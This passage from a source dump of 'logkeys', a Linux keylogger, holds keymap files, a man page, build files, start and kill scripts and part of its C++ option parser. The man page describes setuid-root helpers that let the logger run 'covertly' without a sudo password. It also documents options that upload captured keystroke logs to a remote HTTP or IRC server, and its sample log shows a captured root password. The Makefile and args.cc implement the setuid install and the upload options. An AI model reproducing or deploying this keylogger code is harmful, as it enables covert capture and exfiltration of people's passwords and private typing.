â  Ѐ 44 | y Y « 45 | x X » 46 | c C ¢ 47 | v V “ 48 | b B { 49 | n N } 50 | m M § 51 | , ; < 52 | . : > 53 | - _ ̣ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/ru.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! 3 | 2 " 4 | 3 № 5 | 4 ; 6 | 5 % 7 | 6 : 8 | 7 ? 9 | 8 * 10 | 9 ( 9 11 | 0 ) 0 12 | - _ 13 | = + = 14 | 15 | 16 | й Й 17 | ц Ц 18 | у У 19 | к К 20 | е Е 21 | н Н 22 | г Г 23 | ш Ш 24 | щ Щ 25 | з З 26 | х Х 27 | ъ Ъ 28 | 29 | 30 | ф Ф 31 | ы Ы 32 | в В 33 | а А 34 | п П 35 | р Р 36 | о О 37 | л Л 38 | д Д 39 | ж Ж 40 | э Э 41 | \ / 42 | 43 | \ | 44 | я Я 45 | ч Ч 46 | с С 47 | м М 48 | и И 49 | т Т 50 | ь Ь 51 | б Б 52 | ю Ю 53 | . , 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/sk_QWERTY.map: -------------------------------------------------------------------------------- 1 | 2 | + 1 ! 3 | ľ 2 @ 4 | š 3 # 5 | č 4 $ 6 | ť 5 % 7 | ž 6 ^ 8 | ý 7 & 9 | á 8 * 10 | í 9 { 11 | é 0 } 12 | = % \ 13 | ´ ˇ ¯ 14 | 15 | 16 | q Q \ 17 | w W | 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | y Y ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | ú / [ 27 | ä ( ] 28 | 29 | 30 | a A ~ 31 | s S đ 32 | d D Đ 33 | f F [ 34 | g G ] 35 | h H ` 36 | j J ' 37 | k K ł 38 | l L Ł 39 | ô " $ 40 | § ! ' 41 | ; ° ` 42 | 43 | ň ) \ 44 | z Z ° 45 | x X # 46 | c C & 47 | v V @ 48 | b B { 49 | n N } 50 | m M ^ 51 | , ? < 52 | . : > 53 | - _ * 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/sk_QWERTZ.map: -------------------------------------------------------------------------------- 1 | 2 | + 1 ! 3 | ľ 2 @ 4 | š 3 # 5 | č 4 $ 6 | ť 5 % 7 | ž 6 ^ 8 | ý 7 & 9 | á 8 * 10 | í 9 { 11 | é 0 } 12 | = % \ 13 | ´ ˇ ¯ 14 | 15 | 16 | q Q \ 17 | w W | 18 | e E € 19 | r R ¶ 20 | t T ŧ 21 | z Z ← 22 | u U ↓ 23 | i I → 24 | o O ø 25 | p P þ 26 | ú / [ 27 | ä ( ] 28 | 29 | 30 | a A ~ 31 | s S đ 32 | d D Đ 33 | f F [ 34 | g G ] 35 | h H ` 36 | j J ' 37 | k K ł 38 | l L Ł 39 | ô " $ 40 | § ! ' 41 | ; ° ` 42 | 43 | ň ) \ 44 | y Y ° 45 | x X # 46 | c C & 47 | v V @ 48 | b B { 49 | n N } 50 | m M ^ 51 | , ? < 52 | . : > 53 | - _ * 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/sl.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ~ 3 | 2 " ˇ 4 | 3 # ^ 5 | 4 $ ˘ 6 | 5 % ° 7 | 6 & ˛ 8 | 7 / ` 9 | 8 ( ˙ 10 | 9 ) ´ 11 | 0 = ˝ 12 | ' ? ¨ 13 | + * ¸ 14 | 15 | 16 | q Q \ 17 | w W | 18 | e E € 19 | r R 20 | t T 21 | z Z 22 | u U 23 | i I 24 | o O 25 | p P 26 | š Š ÷ 27 | đ Đ × 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F [ 34 | g G ] 35 | h H 36 | j J 37 | k K ł 38 | l L Ł 39 | č Č 40 | ć Ć ß 41 | ¸ ¨ 42 | 43 | ž Ž ¤ 44 | y Y 45 | x X 46 | c C 47 | v V @ 48 | b B { 49 | n N } 50 | m M § 51 | , ; < 52 | . : > 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | < > 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/sv.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! ¡ 3 | 2 " @ 4 | 3 # £ 5 | 4 ¤ $ 6 | 5 % € 7 | 6 & ¥ 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | + ? \ 13 | Ё 14 | 15 | 16 | q Q @ 17 | w W ł 18 | e E € 19 | r R ® 20 | t T þ 21 | y Y ← 22 | u U ↓ 23 | i I → 24 | o O œ 25 | p P þ 26 | å Å 27 | " ^ ~ 28 | 29 | 30 | a A ª 31 | s S ß 32 | d D ð 33 | f F đ 34 | g G ŋ 35 | h H ħ 36 | j J j 37 | k K ĸ 38 | l L ł 39 | ö Ö ø 40 | ä Ä æ 41 | ' * ´ 42 | 43 | < > | 44 | z Z « 45 | x X » 46 | c C © 47 | v V “ 48 | b B ” 49 | n N n 50 | m M µ 51 | , ; 52 | . : · 53 | - _ 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | Ą 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /keymaps/tr.map: -------------------------------------------------------------------------------- 1 | 2 | 1 ! 3 | 2 ' £ 4 | 3 ^ # 5 | 4 + $ 6 | 5 % ½ 7 | 6 & 8 | 7 / { 9 | 8 ( [ 10 | 9 ) ] 11 | 0 = } 12 | * ? \ 13 | - _ 14 | 15 | 16 | q Q 17 | w W 18 | e E 19 | r R 20 | t T 21 | y Y 22 | u U 23 | ı I 24 | o O 25 | p P 26 | ğ Ğ 27 | ü Ü ~ 28 | 29 | 30 | a A 31 | s S 32 | d D 33 | f F 34 | g G 35 | h H 36 | j J 37 | k K 38 | l L 39 | ş Ş 40 | i İ 41 | , ; ` 42 | 43 | < > | 44 | z Z 45 | x X 46 | c C 47 | v V 48 | b B 49 | n N 50 | m M 51 | ö Ö 52 | ç Ç 53 | . : 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | \ | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /man/Makefile.am: -------------------------------------------------------------------------------- 1 | man_MANS = logkeys.8 2 | -------------------------------------------------------------------------------- /man/logkeys.8: -------------------------------------------------------------------------------- 1 | .TH logkeys 8 2010-05-25 2 | .SH NAME 3 | logkeys \- a GNU/Linux keylogger that works! 4 | .SH SYNOPSIS 5 | .B logkeys \fB-s\fR [\fB-m \fIkeymap\fR | \fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR] 6 | .br 7 | [\fB--no-func-keys\fR] [\fB--no-timestamps\fR] 8 | .br 9 | [\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR] 10 | .br 11 | [\fB--no-daemon\fR] 12 | .br 13 | .B logkeys \fB-k\fR 14 | .br 15 | .B logkeys [\fB--export-keymap=\fIkeymap\fR] 16 | 17 | 18 | .SH DESCRIPTION 19 | logkeys is a linux keylogger. It is no more advanced than other available linux 20 | keyloggers, notably \fBlkl\fR and \fBuberkey\fR, but is a bit newer, more up to date, it 21 | doesn't unreliably repeat keys and it shouldn't crash your X. All in all, it 22 | just seems to work. It relies on the event interface of Linux input subsystem 23 | (normally devices \fI/dev/input/eventX\fR). 24 | .PP 25 | Once set, it logs all common character 26 | and function keys, while also being fully aware of Shift and AltGr key modifiers. 27 | It tries to automatically determine the correct input device, and may in some cases 28 | also get the character keys mapping right. 29 | .PP 30 | Two helper \fBsetuid root\fR programs are shipped with logkeys. \fIllk\fR, which runs 31 | \fIetc/logkeys-start.sh\fR script, and \fIllkk\fR, which runs \fIetc/logkeys-kill.sh\fR script. 32 | Because llk and llkk are installed setuid root, you can edit the two .sh scripts 33 | (mostly just logkeys-start.sh) to your preference, then issue logkeys via llk whenever 34 | you have to run it covertly (e.g. when you don't want to su to root or type sudo password). 35 | 36 | 37 | .SH OPTIONS 38 | Non-optional arguments are required for short options too. 39 | 40 | .TP 41 | \fB-s\fR, \fB-\-start\fR 42 | Starts the keylogging daemon process. 43 | 44 | .TP 45 | \fB-k\fR, \fB-\-kill\fR 46 | Terminates the running logkeys process. 47 | 48 | .TP 49 | \fB-o\fR, \fB-\-output\fR=\fIlogfile\fR 50 | Set ouput log file to \fIlogfile\fR. If no \fB-o\fR option is provided, logkeys 51 | appends to \fI/var/log/logkeys.log\fR file. If \fIlogfile\fR doesn't exist, logkeys 52 | creates the file with 600 permissions. 53 | .IP 54 | To print output to standard output, use '-' as logfile: \fB-o\fR \fI-\fR. 55 | .IP 56 | See also \fBLOGFILE FORMAT\fR section. 57 | 58 | .TP 59 | \fB-m\fR, \fB-\-keymap\fR=\fIkeymap\fR 60 | Use file \fIkeymap\fR as input keymap for processing pressed keys. 61 | .IP 62 | This option works best if \fIkeymap\fR is hand corrected file, which had been 63 | previously exported by \fB--export-keymap\fR. 64 | .IP 65 | See also \fBKEYMAP FORMAT\fR section. 66 | .IP 67 | \fB-m\fR and \fB-u\fR option are mutually exclusive. 68 | 69 | .TP 70 | \fB-d\fR, \fB-\-device\fR=\fIdevice\fR 71 | Use \fIdevice\fR as keyboard input event device instead of \fI/dev/input/eventX\fR default. 72 | .IP 73 | You can determine the keyboard device to be used by examining \fI/proc/bus/input/devices\fR. 74 | 75 | .TP 76 | \fB-u\fR, \fB-\-us-keymap\fR 77 | This option makes logkeys interpret keys as on standard US keyboard. 78 | .IP 79 | \fB-u\fR and \fB-m\fR option are mutually exclusive. 80 | 81 | .TP 82 | \fB-\-export-keymap\fR=\fIkeymap\fR 83 | This option makes logkeys export dynamic keymap as obtained from \fIdumpkeys\fR(1) 84 | to file \fIkeymap\fR and then exit. 85 | .IP 86 | \fIkeymap\fR can later be used with \fB-m\fR option to override automatic keymap 87 | "calculation", which may be wrong. 88 | .IP 89 | It is advised that you manually edit \fIkeymap\fR and correct any mistakes as well 90 | as complete deficient entries. It is also advised that you use \fB-\-export-keymap\fR 91 | on a virtual terminal outside of X (\fI/dev/ttyX\fR). 92 | .IP 93 | See section \fBKEYMAP FORMAT\fR for exported keymap format. 94 | 95 | .TP 96 | \fB-\-no-func-keys\fR 97 | This option makes logkeys log all and only character key presses 98 | (1, 2, ..., q, w, e, ..., a, s, d, f, ..., ", @, \\, ...). 99 | .IP 100 | This option may be useful when correct \fIkeymap\fR can reliably be 101 | expected (i.e. by providing it with \fB-m\fR option). Then only character keys are 102 | logged, influenced by Shift and AltGr modifiers. 103 | 104 | .TP 105 | \fB-\-no-timestamps\fR 106 | When this option is set, logkeys doesn't prepend timestamp to each line of log file. 107 | Timestamps are only logged when logkeys starts and stops. 108 | 109 | .TP 110 | \fB-\-post-size=\fISIZE\fR 111 | When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR, 112 | where X is ascending number (e.g. \fIlogfile.1\fR). 113 | .IP 114 | When that happens, logkeys starts remote uploading process and all \fIlogfile.X\fR 115 | files are uploaded as specified by \fB--post-http\fR or \fB--post-irc\fR options. 116 | .IP 117 | If \fB--post-size\fR is set, but no post method is set, then the logfile is only 118 | truncated when it reaches \fISIZE\fR, renamed to \fIlogfile.X\fR, and a new blank 119 | logfile is created for active logging. 120 | .IP 121 | If \fB--post-size\fR is not set, but post method is, then the default \fISIZE\fR of 122 | 500 KB (500.000 B) is used. 123 | .IP 124 | If \fB--post-size\fR is not set, and neither is any post method, then logkeys appends 125 | to the single specified log file. 126 | .IP 127 | \fISIZE\fR can be an integer bytesize, or an intger followed by K or M for kilobytes 128 | or megabytes, respectively. 129 | 130 | .TP 131 | \fB-\-post-http=\fIURL\fR 132 | This option tells logkeys to POST the log file to URL, where it is preferrably greeted 133 | by a (PHP) script. 134 | .IP 135 | The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it 136 | is accessible in PHP via $_FILES['file'] variable. 137 | 138 | .TP 139 | \fB-\-no-daemon\fR 140 | When this option is set, logkeys runs in the foreground. 141 | Useful when printing output to stdout. 142 | 143 | .SH FILES 144 | .TP 145 | \fB/var/log/logkeys.log\fR 146 | When \fB-o\fR option is not used, logkeys appends to this default log file. 147 | .TP 148 | \fBetc/logkeys-start.sh\fR 149 | Setuid root program \fIllk\fR runs this script. Edit the contents to suit your needs. 150 | .TP 151 | \fBetc/logkeys-stop.sh\fR 152 | Setuid root program \fIllkk\fR runs this script. Default value should work well. 153 | 154 | 155 | .SH "LOGFILE FORMAT" 156 | Log files are \fBUTF-8 encoded\fR. 157 | .PP 158 | Each logging session is enclosed in "Logging started... []" and "Logging 159 | stopped at " strings. Whenever Enter key (Return key) or Ctrl+C or Ctrl+D 160 | combination is pressed, a timestamp is appended on a new line (provided 161 | \fB--no-timestamps\fR is not in effect). 162 | .PP 163 | Timestamp format is "%F\ %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". 164 | Timestamp is separated from the logged keys by one '>' symbol. 165 | .PP 166 | All character key presses are logged as they appear. All 167 | function key presses are replaced with strings as obtained from \fIkeymap\fR file, or 168 | as hardcoded when no \fIkeymap\fR file is provided. 169 | .PP 170 | If a key is pressed down long enough so it repeats, it is logged only once and then 171 | "<#+DD>" is appended, which hints the key was repeated DD more times. The DD decimal 172 | figure is not to be relied on. 173 | .PP 174 | If a keypress results in keycode, which is not recognized (i.e. key not found on a standard US 175 | or Intl 105-key keyboard), then the string "" is appended, where XX is the 176 | received keycode in hexadecimal format. All new "WWW", "E-Mail", "Volume+", "Media", 177 | "Help", etc. keys will result in such error strings. 178 | .PP 179 | Using US keyboard layout, one example log file could look like: 180 | .IP 181 | Logging started ... 182 | .IP 183 | 2009-12-11 09:58:17+0100 > llk 184 | .br 185 | 2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin 186 | .br 187 | 2009-12-11 09:58:26+0100 > R00T_p455\\\\/0rD 188 | .br 189 | 2009-12-11 09:58:39+0100 > sudo 190 | .br 191 | 2009-12-11 09:58:44+0100 > c<#+53><#+34>c 192 | .br 193 | 2009-12-11 09:58:54+0100 > llkk 194 | .IP 195 | Logging stopped at 2009-12-11 09:58:54+0100 196 | .PP 197 | If the same log was obtained by a logkeys process invoked with \fB-\-no-func-keys\fR 198 | option, it would look like: 199 | .IP 200 | Logging started ... 201 | .IP 202 | 2009-12-11 09:58:17+0100 > llk 203 | .br 204 | 2009-12-11 09:58:20+0100 > sudo cp ~/foo. /usr/bin 205 | .br 206 | 2009-12-11 09:58:26+0100 > R00T_p455\\\\/0rD 207 | .br 208 | 2009-12-11 09:58:39+0100 > sudo 209 | .br 210 | 2009-12-11 09:58:44+0100 > c<#+53>c 211 | .br 212 | 2009-12-11 09:58:54+0100 > llkk 213 | .IP 214 | Logging stopped at 2009-12-11 09:58:54+0100 215 | .PP 216 | Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as 217 | a single space character. 218 | 219 | 220 | .SH "KEYMAP FORMAT" 221 | The keymap file is expected to be \fBUTF-8 encoded\fR. 222 | .PP 223 | Each line of file represents either one character key or one function key. 224 | The format specifies \fBat least one\fR and \fBup to three\fR space-delimited 225 | characters on character key lines (first without modifiers, optional second with Shift in 226 | action, optional third with AltGr in action), and up to \fB7 characters long\fR 227 | string on function key lines. 228 | .PP 229 | First three lines in a Slovene keymap file look like: 230 | .IP 231 | 232 | .br 233 | 1 ! ~ 234 | .br 235 | 2 " ˇ 236 | .br 237 | \&... 238 | .PP 239 | How does one know which lines belong to character keys and which lines to function 240 | keys? 241 | .PP 242 | Well, the easiest way is to use \fB-\-export-keymap\fR, and examine the exported 243 | keymap. Make sure you export in a virtual terminal (ttyX) and not in X as this way 244 | more keys could get exported correctly (don't ask me why). 245 | .PP 246 | Basically, \fB-\-export-keymap\fR ouputs 106 lines for 106 keys, even if some of 247 | those keys aren't located on your keyboard. Lines 1, 14, 15, 28, 29, 42, 54-83, 248 | 85-106 belong to function keys, all other lines (2-13, 16-27, 30-41, 43-53, 84) 249 | belong to character keys. 250 | .PP 251 | Line 57 is reserved for Space and it should always be ' '. Line 84 is reserved for 252 | the key just right to left Shift that is present on some international layouts. 253 | Other lines can be quite reliably determined by looking at one \fBexported keymap\fR. 254 | The keys generally follow the order of their appearance on the keyboard, top-to-bottom 255 | left-to-right. 256 | .PP 257 | If you create full and completely valid keymap for your particular language, 258 | please upload it to project website or send it to me by e-mail. Thanks. 259 | 260 | 261 | .SH EXAMPLES 262 | To print short help: 263 | .IP 264 | $ logkeys 265 | .PP 266 | To start logging to a custom log file with dynamically generated keymap: 267 | .IP 268 | $ logkeys --start --output /home/user/.secret/log 269 | .PP 270 | To start logging to default log file on a standard US keyboard: 271 | .IP 272 | $ logkeys --start --us-keymap 273 | .PP 274 | To export dynamically generated keymap to file: 275 | .IP 276 | $ logkeys --export-keymap my_keymap 277 | .PP 278 | To start logging to default log file with a custom keymap: 279 | .IP 280 | $ logkeys --start --keymap my_keymap 281 | .PP 282 | To use a custom event device (e.g. /dev/input/event4): 283 | .IP 284 | $ logkeys --start --device event4 285 | .PP 286 | To end running logkeys process: 287 | .IP 288 | $ logkeys --kill 289 | .PP 290 | After \fIetc/logkeys-start.sh\fR is updated to one's liking, helper programs \fIbin/llk\fR (start) and 291 | \fIbin/llkk\fR (kill) can be used as well. 292 | 293 | 294 | .SH BUGS 295 | logkeys relies on numeric output of \fIdumpkeys\fR(1), which \fIkeymaps\fR(5) 296 | manual page specifically discourages as unportable. 297 | .PP 298 | Be nice and hope nothing breaks. 299 | .PP 300 | If you come across any bugs, please report them on project website, issues page: 301 | .IP 302 | https://github.com/kernc/logkeys/issues/ 303 | .SH AUTHOR 304 | .PP 305 | logkeys was written by Kernc with much help from the community. 306 | .PP 307 | You can always obtain the latest version and information at project website: 308 | . 309 | -------------------------------------------------------------------------------- /scripts/Makefile.am: -------------------------------------------------------------------------------- 1 | myconfdir=$(sysconfdir) 2 | myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh 3 | -------------------------------------------------------------------------------- /scripts/logkeys-kill.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | logkeys --kill 3 | -------------------------------------------------------------------------------- /scripts/logkeys-start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | logkeys --start 3 | -------------------------------------------------------------------------------- /src/Makefile.am: -------------------------------------------------------------------------------- 1 | AM_CXXFLAGS = -Wall -O3 -DSYS_CONF_DIR=\"$(sysconfdir)\" 2 | 3 | bin_PROGRAMS = logkeys llk llkk 4 | logkeys_SOURCES = logkeys.cc 5 | llk_SOURCES = llk.cc 6 | llkk_SOURCES = llkk.cc 7 | 8 | install-exec-hook: 9 | chown root\: $(DESTDIR)$(bindir)/llk 10 | chmod u+s $(DESTDIR)$(bindir)/llk 11 | chown root\: $(DESTDIR)$(bindir)/llkk 12 | chmod u+s $(DESTDIR)$(bindir)/llkk 13 | -------------------------------------------------------------------------------- /src/args.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #ifndef _ARGS_H_ 10 | #define _ARGS_H_ 11 | 12 | #include 13 | 14 | namespace logkeys { 15 | 16 | struct arguments 17 | { 18 | bool start; // start keylogger, -s switch 19 | bool kill; // stop keylogger, -k switch 20 | bool us_keymap; // use default US keymap, -u switch 21 | bool timestamp_every; // log timestamp for every key, --timestamp-every switch 22 | std::string logfile; // user-specified log filename, -o switch 23 | std::string keymap; // user-specified keymap file, -m switch or --export-keymap 24 | std::string device; // user-specified input event device, given with -d switch 25 | std::string http_url; // remote HTTP URL to POST log to, --post-http switch 26 | std::string irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName) 27 | std::string irc_server; // if --post-irc effective, this holds the IRC hostname 28 | std::string irc_port; // if --post-irc effective, this holds the IRC port number 29 | off_t post_size; // post log file to remote when of size post_size, --post-size switch 30 | int flags; // holds the following option flags 31 | #define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used 32 | #define FLAG_NO_FUNC_KEYS 0x2 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. , etc.), --no-func-keys switch 33 | #define FLAG_NO_TIMESTAMPS 0x4 // don't log timestamps, --no-timestamps switch 34 | #define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch 35 | #define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch 36 | #define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size 37 | #define FLAG_NO_DAEMON 0x40 // don't daemonize process, stay in foreground, --no-daemon switch 38 | #define FLAG_TIMESTAMP_EVERY 0x80 // log timestamps on every key, --timestamp-every switch 39 | } args = {0}; // default all args to 0x0 or "" 40 | 41 | 42 | void process_command_line_arguments(int argc, char **argv) 43 | { 44 | int flags; 45 | 46 | struct option long_options[] = { 47 | {"start", no_argument, 0, 's'}, 48 | {"keymap", required_argument, 0, 'm'}, 49 | {"output", required_argument, 0, 'o'}, 50 | {"us-keymap", no_argument, 0, 'u'}, 51 | {"kill", no_argument, 0, 'k'}, 52 | {"device", required_argument, 0, 'd'}, 53 | {"help", no_argument, 0, '?'}, 54 | {"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP}, 55 | {"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS}, 56 | {"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS}, 57 | {"post-http", required_argument, &flags, FLAG_POST_HTTP}, 58 | {"post-irc", required_argument, &flags, FLAG_POST_IRC}, 59 | {"post-size", required_argument, &flags, FLAG_POST_SIZE}, 60 | {"no-daemon", no_argument, &flags, FLAG_NO_DAEMON}, 61 | {"timestamp-every", no_argument, &flags, FLAG_TIMESTAMP_EVERY}, 62 | {0} 63 | }; 64 | 65 | int c; 66 | int option_index; 67 | 68 | while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1) 69 | { 70 | switch (c) 71 | { 72 | case 's': args.start = true; break; 73 | case 'm': args.keymap = optarg; break; 74 | case 'o': args.logfile = optarg; break; 75 | case 'u': args.us_keymap = true; break; 76 | case 'k': args.kill = true; break; 77 | case 'd': args.device = optarg; break; 78 | 79 | case 0 : 80 | args.flags |= flags; 81 | switch (flags) 82 | { 83 | case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break; 84 | 85 | case FLAG_POST_HTTP: 86 | if (strncmp(optarg, "http://", 7) != 0) 87 | error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\""); 88 | args.http_url = optarg; 89 | break; 90 | 91 | case FLAG_POST_IRC: { 92 | // optarg string should be like "entity@server:port", now dissect it 93 | char *main_sep = strrchr(optarg, '@'); 94 | char *port_sep = strrchr(optarg, ':'); 95 | if (main_sep == NULL || port_sep == NULL) 96 | error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!"); 97 | *main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg 98 | *port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1 99 | args.irc_entity = optarg; 100 | args.irc_server = main_sep + 1; 101 | args.irc_port = port_sep + 1; 102 | break; 103 | } 104 | 105 | case FLAG_POST_SIZE: 106 | args.post_size = atoi(optarg); 107 | switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes) 108 | { 109 | case 'K': case 'k': args.post_size *= 1000; break; 110 | case 'M': case 'm': args.post_size *= 1000000; break; 111 | } 112 | 113 | case FLAG_TIMESTAMP_EVERY: args.timestamp_every = true; break; 114 | } 115 | break; 116 | 117 | case '?': usage(); exit(EXIT_SUCCESS); 118 | default : usage(); exit(EXIT_FAILURE); 119 | } 120 | } // while 121 | 122 | while(optind < argc) 123 | error(0, 0, "Non-option argument %s", argv[optind++]); 124 | } 125 | 126 | } // namespace logkeys 127 | #endif // _ARGS_H_ 128 | -------------------------------------------------------------------------------- /src/keytables.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #ifndef _KEYTABLES_H_ 10 | #define _KEYTABLES_H_ 11 | 12 | #include 13 | #include 14 | 15 | namespace logkeys { 16 | 17 | // these are ordered default US keymap keys 18 | wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<"; 19 | wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>"; 20 | wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us` 21 | // TODO: add altgr_shift_keys[] (http://en.wikipedia.org/wiki/AltGr_key#US_international) 22 | 23 | wchar_t func_keys[][8] = { 24 | L"", L"", L"", L"", L"", L"", L"", L"", L"", L" ", L"", L"", L"", L"", L"", L"", 25 | L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", 26 | L"", L"", L"", L"", /*"<",*/ L"", L"", L"", L"", L"", L"", L"", L"" /*linefeed?*/, L"", L"", L"", 27 | L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"" 28 | }; 29 | 30 | const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from 31 | "_fccccccccccccff" 32 | "ccccccccccccffcc" 33 | "ccccccccccfccccc" 34 | "ccccccffffffffff" 35 | "ffffffffffffffff" 36 | "ffff__cff_______" 37 | "ffffffffffffffff" 38 | "_______f_____fff"; 39 | #define N_KEYS_DEFINED 106 // sum of all 'c' and 'f' chars in char_or_func[] 40 | 41 | inline bool is_char_key(unsigned int code) 42 | { 43 | assert(code < sizeof(char_or_func)); 44 | return (char_or_func[code] == 'c'); 45 | } 46 | 47 | inline bool is_func_key(unsigned int code) 48 | { 49 | assert(code < sizeof(char_or_func)); 50 | return (char_or_func[code] == 'f'); 51 | } 52 | 53 | inline bool is_used_key(unsigned int code) 54 | { 55 | assert(code < sizeof(char_or_func)); 56 | return (char_or_func[code] != '_'); 57 | } 58 | 59 | // translates character keycodes to continuous array indexes 60 | inline int to_char_keys_index(unsigned int keycode) 61 | { 62 | if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, = 63 | return keycode - 2; 64 | if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ] 65 | return keycode - 4; 66 | if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', ` 67 | return keycode - 6; 68 | if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., / 69 | return keycode - 7; 70 | 71 | if (keycode == KEY_102ND) return 47; // key right to the 